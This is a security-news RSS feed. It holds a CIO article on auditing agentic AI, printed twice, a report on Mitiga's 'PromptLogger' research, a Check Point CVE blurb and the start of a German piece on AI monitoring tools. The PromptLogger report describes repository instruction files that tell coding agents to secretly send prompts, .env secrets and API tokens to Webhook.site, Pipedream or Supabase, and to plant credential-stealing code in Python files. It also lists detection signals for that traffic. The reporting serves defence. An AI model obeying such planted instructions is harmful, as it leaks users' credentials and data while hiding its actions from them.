<p class="wp-block-paragraph">Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category: systems that interpret instructions, call tools and act across workflows without a mature assurance model built around them.</p>



<p class="wp-block-paragraph">In my work as a leader and investor across technology-enabled businesses, I have spent years around automation, cybersecurity, compliance, workflow design and board reporting. I have watched management teams gain confidence from dashboards, policies and approval records, then face a harder question when a board member, auditor or regulator asks whether the controls performed as intended.</p>



<p class="wp-block-paragraph">Agentic AI complicates that question because a single outcome may pass through several systems. An agent can collect information, choose a tool, produce code, route a request and hand work to another agent before a person approves the result. No single manager may have observed the full path.</p>



<p class="wp-block-paragraph">Executive accountability remains human even when the operating activity becomes more autonomous. The CIO may have to explain who authorized the activity, whether the agent stayed within its approved purpose and what evidence supports management’s answer.</p>



<p class="wp-block-paragraph">In a recent<a href="https://x.com/demishassabis/status/2076957440109625718"> </a><a href="https://x.com/demishassabis/status/2076957440109625718">framework for frontier AI</a>, Google DeepMind CEO Demis Hassabis proposed an independent standards body that could evaluate advanced models before deployment and address critical vulnerabilities after release. His proposal focuses on frontier models, but the principle carries into the enterprise: expanding autonomy creates a corresponding need for independent assessment.</p>



<p class="wp-block-paragraph">My rule for this stage of adoption is straightforward: no agent should gain more autonomy than the company can verify.</p>



<h2 class="wp-block-heading"><a></a>The enterprise audit model was built for people and software</h2>



<p class="wp-block-paragraph">Companies have spent decades building controls around people. Employees have job descriptions, reporting lines, approval limits and access rights. When someone leaves, an established process removes access and transfers responsibility.</p>



<p class="wp-block-paragraph">Traditional software also fits a familiar structure. A program follows defined instructions inside systems with owners, release procedures, test records and change controls. Complexity can make review difficult, but the accountability chain is usually visible.</p>



<p class="wp-block-paragraph">An AI agent sits between those categories. It operates through software while interpreting instructions with room to choose a path. Its behavior may change when the model, prompt, connected data, available tools or surrounding workflow changes. A control approved during deployment can weaken months later without an obvious change to the application.</p>



<p class="wp-block-paragraph">Standards are still developing as adoption accelerates. In February 2026, NIST launched an ⁠<a href="https://www.nist.gov/artificial-intelligence/ai-agent-standards-initiative">AI Agent Standards Initiative</a> focused on secure operation and interoperability for agents capable of autonomous action.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/scaling-integration.png?w=1024" alt="Graph: Gartner outlook: Scaling integration against delivery failure risks." class="wp-image-4204558" width="1024" height="520" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">Gartner predicted that 40% of enterprise applications would include task-specific agents by the end of 2026, up from less than 5% in 2025. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">More than 40% of agentic AI projects could be canceled by the end of 2027</a> because of escalating cost, unclear business value or inadequate risk controls.</p>



<p class="wp-block-paragraph">IBM’s 2025 Cost of a Data Breach research found that ⁠<a href="https://newsroom.ibm.com/2025-07-30-ibm-report-13-of-organizations-reported-breaches-of-ai-models-or-applications%2C-97-of-which-reported-lacking-proper-ai-access-controls">13% of surveyed organizations reported breaches involving AI models or applications</a>. Among that group, 97% reported inadequate AI access controls. 63% of organizations in their study lacked governance policies for managing AI or preventing shadow AI.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/vulnerability-vector.png?w=1024" alt="Vulnerability vector: AI security controls under pressuer." class="wp-image-4204557" width="1024" height="579" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">One team may approve an agent, another may connect it to data and a third may own the workflow. Management still carries responsibility when the agent exposes information, produces an error or acts outside its approved purpose.</p>



<p class="wp-block-paragraph">Two-thirds of CIOs and CTOs surveyed were being held ⁠<a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">accountable for AI systems they did not fully control</a>. Seventy percent said technology was spreading across the business faster than IT could track it, while 77% said adoption was outpacing governance capabilities.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/cio-autonomy-gap.png?w=1024" alt="The CIO autonomy gap: Sentiment grid." class="wp-image-4204556" width="1024" height="504" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">The survey findings expose the boardroom gap: management carries accountability while control remains distributed across teams, systems and workflows. An assurance model must provide more than a statement of intent.</p>



<h2 class="wp-block-heading"><a></a>Assurance must prove where the boundary held</h2>



<p class="wp-block-paragraph">Policies, dashboards and logs help establish control. Assurance begins when the company tests whether an agent stayed inside the conditions management approved.</p>



<p class="wp-block-paragraph">Before deployment, management should document the agent’s business purpose, accountable owner, systems touched, allowed actions and stop conditions. Testing should then determine whether the agent can reach information outside its scope, call an unapproved tool, continue after a stop condition or carry an incorrect assumption into another system.</p>



<p class="wp-block-paragraph">I would treat an agent’s autonomy as a renewable license because its operating condition will change after launch. Renewal should follow any material change to the model, connected data, available tools, workflow or authority. NIST’s work on the<a href="https://www.nist.gov/news-events/news/2026/03/new-report-challenges-monitoring-deployed-ai-systems?utm_source=chatgpt.com"> </a><a href="https://www.nist.gov/news-events/news/2026/03/new-report-challenges-monitoring-deployed-ai-systems?utm_source=chatgpt.com">challenges of monitoring deployed AI systems</a> identifies drift, fragmented logging and immature standards as barriers to post-deployment oversight, while the World Economic Forum recommends<a href="https://www.weforum.org/publications/ai-agents-in-action-foundations-for-evaluation-and-governance/?utm_source=chatgpt.com"> </a><a href="https://www.weforum.org/publications/ai-agents-in-action-foundations-for-evaluation-and-governance/?utm_source=chatgpt.com">scaling safeguards with an agent’s autonomy, authority and complexity</a>. A change-triggered review ties assurance to the version of the agent and workflow in use, giving the CIO a defensible basis for continued authority.</p>



<p class="wp-block-paragraph">Consider a coding agent that begins by drafting test cases, then gains access to repositories, tickets, CI/CD tools and production documentation. A production change could involve an instruction, code, a tool call, an automated test, a ticket update and human approval. Assurance must show how the result was produced, which systems participated, whether the agent crossed a boundary and how exceptions were handled.</p>



<p class="wp-block-paragraph">For every agent with meaningful operating authority, I would expect four connected records: the approved baseline, boundary-test results, a history of behavioral drift and an account of exceptions and interventions. Together, they give management a record that can support a board discussion, audit or regulatory response without depending on the technical team’s memory.</p>



<h2 class="wp-block-heading"><a></a>Autonomy should scale only as fast as assurance</h2>



<p class="wp-block-paragraph">Internal teams will remain responsible for designing controls and operating the environment. At board-level scale, management also needs review independent from the people who built and run the agent.</p>



<p class="wp-block-paragraph">I have seen management ask auditors or other independent certified professionals to sign off on a system. They cannot sign when they have not completed the work required to support that opinion. Leadership wants confidence, the board wants an answer and the independent party needs a body of evidence that can be tested.</p>



<p class="wp-block-paragraph">Agentic AI will make that evidence harder to assemble after an incident. Records have to be produced while the work occurs. Once an agent has acted across several systems, reconstruction may depend on logs created by different vendors, teams and tools. Missing context can turn a clear technical event into an uncertain management explanation.</p>



<p class="wp-block-paragraph">CIOs should design assurance into the workflow. The operating record needs to capture approved purpose, tested boundaries, material changes, exceptions, human interventions and unresolved findings. Independent review can then examine whether the control operated during the period management is being asked to discuss.</p>



<p class="wp-block-paragraph">The operating record gives executives a basis for changing an agent’s authority. Broader responsibility should follow tested boundaries and a clean exception history. Drift or repeated intervention should pause expansion until the cause is understood.</p>



<p class="wp-block-paragraph">Before approving broader use, I would ask:</p>



<ul class="wp-block-list">
<li>What authority has the company granted?</li>



<li>Which tests show the boundary holds?</li>



<li>What record will remain available months later?</li>



<li>Who carries accountability when the record shows a failure?</li>
</ul>



<p class="wp-block-paragraph">Those questions create a management standard for deciding whether an agent is ready to move from a limited workflow into broader enterprise operations.</p>



<p class="wp-block-paragraph">Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category that requires its own assurance model. The next discipline for the enterprise is auditing autonomy through approved behavior, tested boundaries, monitored change and documented intervention.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI assurance gap: CIOs need proof that agentic AI controls actually work]]></title>
<description><![CDATA[Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category: systems that interpret instructions, call tools and act across workflows without a mature assurance model built around them.



In my work as a leader and investor across technology-enab...]]></description>
<link>https://tsecurity.de/de/3702654/it-security-nachrichten/the-ai-assurance-gap-cios-need-proof-that-agentic-ai-controls-actually-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702654/it-security-nachrichten/the-ai-assurance-gap-cios-need-proof-that-agentic-ai-controls-actually-work/</guid>
<pubDate>Tue, 04 Aug 2026 11:03:49 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category: systems that interpret instructions, call tools and act across workflows without a mature assurance model built around them.</p>



<p class="wp-block-paragraph">In my work as a leader and investor across technology-enabled businesses, I have spent years around automation, cybersecurity, compliance, workflow design and board reporting. I have watched management teams gain confidence from dashboards, policies and approval records, then face a harder question when a board member, auditor or regulator asks whether the controls performed as intended.</p>



<p class="wp-block-paragraph">Agentic AI complicates that question because a single outcome may pass through several systems. An agent can collect information, choose a tool, produce code, route a request and hand work to another agent before a person approves the result. No single manager may have observed the full path.</p>



<p class="wp-block-paragraph">Executive accountability remains human even when the operating activity becomes more autonomous. The CIO may have to explain who authorized the activity, whether the agent stayed within its approved purpose and what evidence supports management’s answer.</p>



<p class="wp-block-paragraph">In a recent<a href="https://x.com/demishassabis/status/2076957440109625718"> </a><a href="https://x.com/demishassabis/status/2076957440109625718">framework for frontier AI</a>, Google DeepMind CEO Demis Hassabis proposed an independent standards body that could evaluate advanced models before deployment and address critical vulnerabilities after release. His proposal focuses on frontier models, but the principle carries into the enterprise: expanding autonomy creates a corresponding need for independent assessment.</p>



<p class="wp-block-paragraph">My rule for this stage of adoption is straightforward: no agent should gain more autonomy than the company can verify.</p>



<h2 class="wp-block-heading"><a></a>The enterprise audit model was built for people and software</h2>



<p class="wp-block-paragraph">Companies have spent decades building controls around people. Employees have job descriptions, reporting lines, approval limits and access rights. When someone leaves, an established process removes access and transfers responsibility.</p>



<p class="wp-block-paragraph">Traditional software also fits a familiar structure. A program follows defined instructions inside systems with owners, release procedures, test records and change controls. Complexity can make review difficult, but the accountability chain is usually visible.</p>



<p class="wp-block-paragraph">An AI agent sits between those categories. It operates through software while interpreting instructions with room to choose a path. Its behavior may change when the model, prompt, connected data, available tools or surrounding workflow changes. A control approved during deployment can weaken months later without an obvious change to the application.</p>



<p class="wp-block-paragraph">Standards are still developing as adoption accelerates. In February 2026, NIST launched an ⁠<a href="https://www.nist.gov/artificial-intelligence/ai-agent-standards-initiative">AI Agent Standards Initiative</a> focused on secure operation and interoperability for agents capable of autonomous action.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/scaling-integration.png?w=1024" alt="Graph: Gartner outlook: Scaling integration against delivery failure risks." class="wp-image-4204558" width="1024" height="520" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">Gartner predicted that 40% of enterprise applications would include task-specific agents by the end of 2026, up from less than 5% in 2025. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">More than 40% of agentic AI projects could be canceled by the end of 2027</a> because of escalating cost, unclear business value or inadequate risk controls.</p>



<p class="wp-block-paragraph">IBM’s 2025 Cost of a Data Breach research found that ⁠<a href="https://newsroom.ibm.com/2025-07-30-ibm-report-13-of-organizations-reported-breaches-of-ai-models-or-applications%2C-97-of-which-reported-lacking-proper-ai-access-controls">13% of surveyed organizations reported breaches involving AI models or applications</a>. Among that group, 97% reported inadequate AI access controls. 63% of organizations in their study lacked governance policies for managing AI or preventing shadow AI.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/vulnerability-vector.png?w=1024" alt="Vulnerability vector: AI security controls under pressuer." class="wp-image-4204557" width="1024" height="579" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">One team may approve an agent, another may connect it to data and a third may own the workflow. Management still carries responsibility when the agent exposes information, produces an error or acts outside its approved purpose.</p>



<p class="wp-block-paragraph">Two-thirds of CIOs and CTOs surveyed were being held ⁠<a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">accountable for AI systems they did not fully control</a>. Seventy percent said technology was spreading across the business faster than IT could track it, while 77% said adoption was outpacing governance capabilities.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/cio-autonomy-gap.png?w=1024" alt="The CIO autonomy gap: Sentiment grid." class="wp-image-4204556" width="1024" height="504" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Par Chadh</p></div>



<p class="wp-block-paragraph">The survey findings expose the boardroom gap: management carries accountability while control remains distributed across teams, systems and workflows. An assurance model must provide more than a statement of intent.</p>



<h2 class="wp-block-heading"><a></a>Assurance must prove where the boundary held</h2>



<p class="wp-block-paragraph">Policies, dashboards and logs help establish control. Assurance begins when the company tests whether an agent stayed inside the conditions management approved.</p>



<p class="wp-block-paragraph">Before deployment, management should document the agent’s business purpose, accountable owner, systems touched, allowed actions and stop conditions. Testing should then determine whether the agent can reach information outside its scope, call an unapproved tool, continue after a stop condition or carry an incorrect assumption into another system.</p>



<p class="wp-block-paragraph">I would treat an agent’s autonomy as a renewable license because its operating condition will change after launch. Renewal should follow any material change to the model, connected data, available tools, workflow or authority. NIST’s work on the<a href="https://www.nist.gov/news-events/news/2026/03/new-report-challenges-monitoring-deployed-ai-systems?utm_source=chatgpt.com"> </a><a href="https://www.nist.gov/news-events/news/2026/03/new-report-challenges-monitoring-deployed-ai-systems?utm_source=chatgpt.com">challenges of monitoring deployed AI systems</a> identifies drift, fragmented logging and immature standards as barriers to post-deployment oversight, while the World Economic Forum recommends<a href="https://www.weforum.org/publications/ai-agents-in-action-foundations-for-evaluation-and-governance/?utm_source=chatgpt.com"> </a><a href="https://www.weforum.org/publications/ai-agents-in-action-foundations-for-evaluation-and-governance/?utm_source=chatgpt.com">scaling safeguards with an agent’s autonomy, authority and complexity</a>. A change-triggered review ties assurance to the version of the agent and workflow in use, giving the CIO a defensible basis for continued authority.</p>



<p class="wp-block-paragraph">Consider a coding agent that begins by drafting test cases, then gains access to repositories, tickets, CI/CD tools and production documentation. A production change could involve an instruction, code, a tool call, an automated test, a ticket update and human approval. Assurance must show how the result was produced, which systems participated, whether the agent crossed a boundary and how exceptions were handled.</p>



<p class="wp-block-paragraph">For every agent with meaningful operating authority, I would expect four connected records: the approved baseline, boundary-test results, a history of behavioral drift and an account of exceptions and interventions. Together, they give management a record that can support a board discussion, audit or regulatory response without depending on the technical team’s memory.</p>



<h2 class="wp-block-heading"><a></a>Autonomy should scale only as fast as assurance</h2>



<p class="wp-block-paragraph">Internal teams will remain responsible for designing controls and operating the environment. At board-level scale, management also needs review independent from the people who built and run the agent.</p>



<p class="wp-block-paragraph">I have seen management ask auditors or other independent certified professionals to sign off on a system. They cannot sign when they have not completed the work required to support that opinion. Leadership wants confidence, the board wants an answer and the independent party needs a body of evidence that can be tested.</p>



<p class="wp-block-paragraph">Agentic AI will make that evidence harder to assemble after an incident. Records have to be produced while the work occurs. Once an agent has acted across several systems, reconstruction may depend on logs created by different vendors, teams and tools. Missing context can turn a clear technical event into an uncertain management explanation.</p>



<p class="wp-block-paragraph">CIOs should design assurance into the workflow. The operating record needs to capture approved purpose, tested boundaries, material changes, exceptions, human interventions and unresolved findings. Independent review can then examine whether the control operated during the period management is being asked to discuss.</p>



<p class="wp-block-paragraph">The operating record gives executives a basis for changing an agent’s authority. Broader responsibility should follow tested boundaries and a clean exception history. Drift or repeated intervention should pause expansion until the cause is understood.</p>



<p class="wp-block-paragraph">Before approving broader use, I would ask:</p>



<ul class="wp-block-list">
<li>What authority has the company granted?</li>



<li>Which tests show the boundary holds?</li>



<li>What record will remain available months later?</li>



<li>Who carries accountability when the record shows a failure?</li>
</ul>



<p class="wp-block-paragraph">Those questions create a management standard for deciding whether an agent is ready to move from a limited workflow into broader enterprise operations.</p>



<p class="wp-block-paragraph">Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category that requires its own assurance model. The next discipline for the enterprise is auditing autonomy through approved behavior, tested boundaries, monitored change and documented intervention.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers are crafting malicious AI instruction files to turn your agentic workflows into quiet criminal helpers]]></title>
<description><![CDATA[AI agents are increasingly being deployed across the enterprise, a rapid adoption that has significantly broadened the organization’s attack surface, turning sharable AI agent resources and configuration files into backdoors, security experts warn.



AI-assisted software developers have been inc...]]></description>
<link>https://tsecurity.de/de/3702597/it-security-nachrichten/attackers-are-crafting-malicious-ai-instruction-files-to-turn-your-agentic-workflows-into-quiet-criminal-helpers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702597/it-security-nachrichten/attackers-are-crafting-malicious-ai-instruction-files-to-turn-your-agentic-workflows-into-quiet-criminal-helpers/</guid>
<pubDate>Tue, 04 Aug 2026 10:49:51 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are increasingly being deployed across the enterprise, a rapid adoption that has significantly broadened the organization’s attack surface, turning sharable AI agent resources and configuration files into backdoors, security experts warn.</p>



<p class="wp-block-paragraph">AI-assisted software developers have been increasingly targeted through malicious IDE extensions, rogue MCP servers, and poisoned AI skills, all of which provide attackers inroads into organizations’ development pipelines and beyond. But these AI helper resources are not the only types of instruction files that developers and users share with one another when making use of AI coding assistants and command-line interface (CLI) agents.</p>



<p class="wp-block-paragraph">For example, Anthropic’s Claude Code CLI agent loads system prompts from a file called <code>CLAUDE.md</code>. This file contains instructions that are sent to the LLM along with every user prompt to avoid having to repeat rules, user preferences, and persona definitions for the model.</p>



<p class="wp-block-paragraph"><code>CLAUDE.md</code> can be used globally for all projects or be used on a per-project basis to include instructions about how the LLM should operate within that project. It’s not unusual for <code>CLAUDE.md</code> files to be included in a shared repository to ensure project-relevant consistency in the conventions developers use when working with Claude Code.</p>



<p class="wp-block-paragraph">Other coding agents have similar files, such as OpenAI Codex’s <code>AGENTS.md</code> or Google Gemini’s <code>GEMINI.md</code>. AI-assisted IDEs such as Cursor or Cline have <code>.cursorrules</code> and <code>.clinerules</code>. GitHub Copilot has <code>.github/copilot-instructions.md</code>. Then there are JSON configuration files that could also contain executable code, such as <code>mcp.json</code>, <code>hooks.json</code>, or <code>settings.json</code>. Hooks are a popular way to deliver scripts and commands based on triggers during an agentic loop.</p>



<p class="wp-block-paragraph">All these files could hide malicious code or instructions and should be regularly checked and validated, especially if imported from the internet along with a repository.</p>



<p class="wp-block-paragraph">Researchers from security firm Mitiga recently shed light on this threat, releasing a report on code repositories they found in the wild with malicious instructions injected in such files. The files instructed the target agent to exfiltrate all prompts typed by the user, including all sensitive information they might contain, as well as environment variables and other credentials used by the agent. The researchers dubbed this backdoor attack technique “PromptLogger,” and it is one enterprise security teams and developers are likely to see more of in the future.</p>



<p class="wp-block-paragraph">“Traditional keyloggers capture keystrokes and send them to an attacker,” Mitiga’s researchers write in <a href="https://www.mitiga.io/resources/promptlogger-ai-instruction-file-exfiltration-report">their report on the attack vector</a>. “PromptLogger-style behavior captures something richer: the prompts and sometimes responses exchanged with an attacker. That matters because prompts increasingly contain source code, architectural plans, credentials pasted for troubleshooting, internal documentation, debugging output, customer samples, business logic, and operator intent.”</p>



<p class="wp-block-paragraph">Enterprises have been apprehensive about <a href="https://www.csoonline.com/article/3964282/cisos-no-closer-to-containing-shadow-ais-skyrocketing-data-risks.html">corporate data leakage via shadow AI use</a> for good reason. This type of attack enables surveillance of corporate even on vetted and sanctioned AI tools.</p>



<p class="wp-block-paragraph">Moreover, this attack leaves no malicious binary on disk, does not inject code into other processes, and has no classic persistence mechanisms. As a result, it won’t be detected by EDRs or from a workstation monitoring perspective, because it looks like normal tool usage given that the agent itself is performing the exfiltration.</p>



<h2 class="wp-block-heading">Exfiltration to external cloud-hosted databases</h2>



<p class="wp-block-paragraph">Mitiga’s researchers found and reported multiple examples of agent instruction file poisoning on GitHub repositories. None were popular repositories accessed by a large number of developers, but they don’t need to be. Links to these repositories could be sent to victims in targeted attacks, as has been seen in <a href="https://www.csoonline.com/article/3518577/fake-recruitment-campaign-targets-developers-using-trojanized-python-packages.html">fake recruitment attacks</a> where developers are asked during the interview process to clone GitHub projects containing malicious code.</p>



<p class="wp-block-paragraph">One example was a DevOps repository containing poisoned <code>.cursorrules</code> and <code>.github/copilot-instructions.md</code>. The repository contained a full-stack application built with React + Vite frontend, along with Express API, PostgreSQL, nginx configuration, Docker containers, GitLab CI jobs, and AWS infrastructure setup files for Terraform and Terragrrunt. In other words, everything needed to deploy that application.</p>



<p class="wp-block-paragraph">Despite the <code>README.md</code> file being benign, the agent instruction files distributed in the repo contained instructions for the AI agent loading them to execute a <code>curl</code> command silently without mentioning it to the user before responding to their prompt. That command copied the user’s prompt to a database hosted on the Supabase service using a hardcoded access token.</p>



<p class="wp-block-paragraph">In another case the researchers found an MLOps repository with an end-to-end machine learning pipeline for training, evaluating, and deploying computer vision models. The repository had a <code>.clinerules</code> file that instructed the agent to verify its environment by collecting several environment variables and command outputs and send them to a site hosted on the Webhook.site service. The collected <code>env</code> variables included Weights &amp; Biases (WANDB) API key, AWS access key, GitHub access token, and MLFlow tracking URL.</p>



<p class="wp-block-paragraph">“This is direct credential collection,” the researchers’ report notes. “Webhook.site gives the operator an easy request sink that can be created anonymously and monitored in real time.”</p>



<p class="wp-block-paragraph">A similar environment secrets collection attack was detected in another repository that claimed to be a starter kit for FastAPI, a framework for API development. The <code>.cursorrules</code> and <code>CLAUDE.md</code> files in the repository instructed the agent to send the contents of the local <code>.env</code> file to a Webhook.site endpoint supposedly for synchronization across the team. However, it also contained instructions to suppress the command output and hide this action from the user.</p>



<p class="wp-block-paragraph">Finally, a <code>GEMINI.md</code> file hosted inside a repository masqueraded as an environment validation step required to pass “Zero Trust” compliance checks. As part of this check, the agent was told to inject an initialization block into every generated or modified Python file, which would then scan the OS environment for any values with <code>key</code>, <code>secret</code>, <code>token</code>, or <code>pass</code> in their names and exfiltrate them to a Pipedream endpoint.</p>



<p class="wp-block-paragraph">This technique exceeds just poisoning the agent and using it for exfiltration. Instead, it uses the agent to inject backdoor code into other Python files that might be copied to other systems, including continuous integration (CI) jobs, containers, and production workloads.</p>



<p class="wp-block-paragraph">Some intentional behavior that involves agent instruction files could create risk without the developers realizing it. For example, the researchers found a repository where the <code>CLAUDE.md</code> contained instructions to use the Snipara MCP during commits to store documentation, dependencies, environment variables, and implementation context.</p>



<p class="wp-block-paragraph">Snipara is a remote cross-project memory layer for AI agents so this use case seems legitimate and intentional. However, if not approved by the security team, it creates a second system that can hold credentials and sensitive data outside the visibility of monitoring systems.<br><br>AI agent workflows under attack</p>



<p class="wp-block-paragraph">What the PromptLogger technique highlights is that attackers are not only breaking down agentic workflows to find new enterprise weak points but transforming those workflows into tools for performing criminal work on their behalf, undetected and unmonitored.</p>



<p class="wp-block-paragraph">“AI instruction files were designed to make coding assistants more useful,” Mitiga’s researchers emphasize. “They define project conventions, preferred commands, memory behavior, hooks and tools usage. In practice, they also create a security-relevant layer that many teams still treat as documentation.”</p>



<p class="wp-block-paragraph">This is just one example of a trend that find AI agents fast becoming an unmonitored blind spot that attackers are proving quick to exploit for initial access.</p>



<p class="wp-block-paragraph">Last month, researchers from security firm AIR <a href="https://www.csoonline.com/article/4188840/how-a-malicious-ai-agent-skill-passed-security-checks-and-reached-26000-users.html">built a proof-of-concept malicious skill file</a>, published it to a popular marketplace and promoted it on Instagram. The skill — a file containing task-specific instructions for AI agents — was eventually installed by more than 26,000 designers and marketers, many working for companies.</p>



<p class="wp-block-paragraph">AI agent skill files are no different in principle from <code>CLAUDE.md</code> or <code>.cursorrules</code>. They contain instructions that AI agents execute at various stages of operation. As such, inspecting such files when they are created or modified is imperative.</p>



<p class="wp-block-paragraph">Mitiga researchers propose several static scan patterns that could reveal risky commands in such files, but they also advise security teams to monitor developer workstations for traffic to services such as Webhook.site, Pipedream, Supabase, or Telegram Bot API.</p>



<p class="wp-block-paragraph">Unexpected outbound HTTP requests before or after assistant responses; repeated POST requests containing environment variables, project paths, or prompt text; and the addition of new MCP servers, URL overrides, or tool endpoints to agent configurations should be investigated.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Check Point Flaw Exposes Security Management Servers to Full Compromise]]></title>
<description><![CDATA[Check Point has issued a high-severity security alert for CVE-2026-18574, a management authentication-bypass flaw that can let an unauthenticated attacker execute arbitrary commands on vulnerable Security Management Server and Multi-Domain Security Management Server deployments. Tracked under Sol...]]></description>
<link>https://tsecurity.de/de/3702464/it-security-nachrichten/critical-check-point-flaw-exposes-security-management-servers-to-full-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702464/it-security-nachrichten/critical-check-point-flaw-exposes-security-management-servers-to-full-compromise/</guid>
<pubDate>Tue, 04 Aug 2026 09:16:37 +0200</pubDate>
<content:encoded><![CDATA[<p>Check Point has issued a high-severity security alert for CVE-2026-18574, a management authentication-bypass flaw that can let an unauthenticated attacker execute arbitrary commands on vulnerable Security Management Server and Multi-Domain Security Management Server deployments. Tracked under Solution ID sk185222, the vulnerability creates a direct path to full compromise of the security-management plane, where an attacker […]</p>
<p>The post <a href="https://cyberpress.org/critical-check-point-flaw-2/">Critical Check Point Flaw Exposes Security Management Servers to Full Compromise</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[19 Tools, um KI lückenlos zu überwachen]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">AIOps-, beziehungsweise AgentOps-Tools, können beim KI-Monitoring unterstützen.Rob Schultz / Shutterstock



KI wird auch in Unternehmen allgegenwärtig. Aus IT-Sicht erfordert das vor allem ein lückenloses Monitoring der Ak...]]></description>
<link>https://tsecurity.de/de/3702316/it-security-nachrichten/19-tools-um-ki-lueckenlos-zu-ueberwachen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702316/it-security-nachrichten/19-tools-um-ki-lueckenlos-zu-ueberwachen/</guid>
<pubDate>Tue, 04 Aug 2026 08:18:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">AIOps-, beziehungsweise AgentOps-Tools, können beim KI-Monitoring unterstützen.</figcaption></figure><p class="imageCredit">Rob Schultz / Shutterstock</p></div>



<p class="wp-block-paragraph">KI wird auch in Unternehmen allgegenwärtig. Aus IT-Sicht erfordert das vor allem ein lückenloses Monitoring der Aktivitäten, die in Zusammenhang mit Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>) und <a href="https://www.computerwoche.de/article/4132787/wie-ki-agenten-daten-konsumieren-sollten.html" target="_blank">KI-Agenten</a> erfolgen. Glücklicherweise ist der DevOps-Welt vor einiger Zeit eine Tool-Kategorie entsprungen, mit der diese Herausforderung zu meistern ist.</p>



<p class="wp-block-paragraph">Lösungen aus dem Bereich <strong>AIOps</strong> (manchmal auch als <strong>AgentOps</strong> bezeichnet) stützen sich dabei in vielerlei Hinsicht auf ähnliche Ansätze wie <a href="https://www.computerwoche.de/article/4091055/10-devops-praktiken-furs-ki-zeitalter.html" target="_blank">DevOps</a>-Werkzeuge: Sie überwachen Systeme auf fehlerhaftes Verhalten und kennzeichnen sämtliche Vorgänge, die vom Normalzustand abweichen, um diese anschließend eingehender zu analysieren.</p>



<p class="wp-block-paragraph">Geht es um die Entscheidung darüber, welches AIOps-Tool für den eigenen Anwendungsfall am besten geeignet ist, ist vor allem die Größe und Art der Agentic-AI-Systeme und des Projekts zu berücksichtigen. Im Mittelpunkt stehen Fragen wie:  </p>



<ul class="wp-block-list">
